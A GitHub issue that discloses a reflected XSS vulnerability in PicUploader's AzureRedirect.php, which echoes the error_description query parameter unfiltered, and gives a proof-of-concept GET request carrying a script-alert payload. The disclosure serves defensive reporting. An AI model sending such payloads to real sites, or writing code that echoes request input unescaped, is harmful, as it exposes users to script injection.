Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

xss_1 #90

Open
xjzzzxx opened this issue Jul 17, 2024 · 0 comments
Open

xss_1 #90

xjzzzxx opened this issue Jul 17, 2024 · 0 comments

Comments

@xjzzzxx
Copy link

xjzzzxx commented Jul 17, 2024

Hello,

I would like to report for a xss vulnerability in PicUploader commit fcf82ea

Analysis

The path of the vulnerability: https://github.com/xiebruce/PicUploader/blob/master/auth/AzureRedirect.php

if(isset($_GET['code'])){			// Line 21 (Check)
    ...
    }else if(isset($_GET['error']) && isset($_GET['error_description'])){	// Line 38 (Check)
		echo $_GET['error_description'];	// Line 39 (Sink)

Sink in Line 39(echo $_GET['error_description'];).

There is no filtering, which resulting in XSS vulnerability

Poc

GET /auth/AzureRedirect.php?error=&error_description=%3Cscript%3Ealert(%27xss%27)%3C/script%3E

Here is the version without url encoding for ease of understanding:

GET /auth/AzureRedirect.php?error=&error_description=<script>alert('xss')</script>

Manual verification

1

2

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant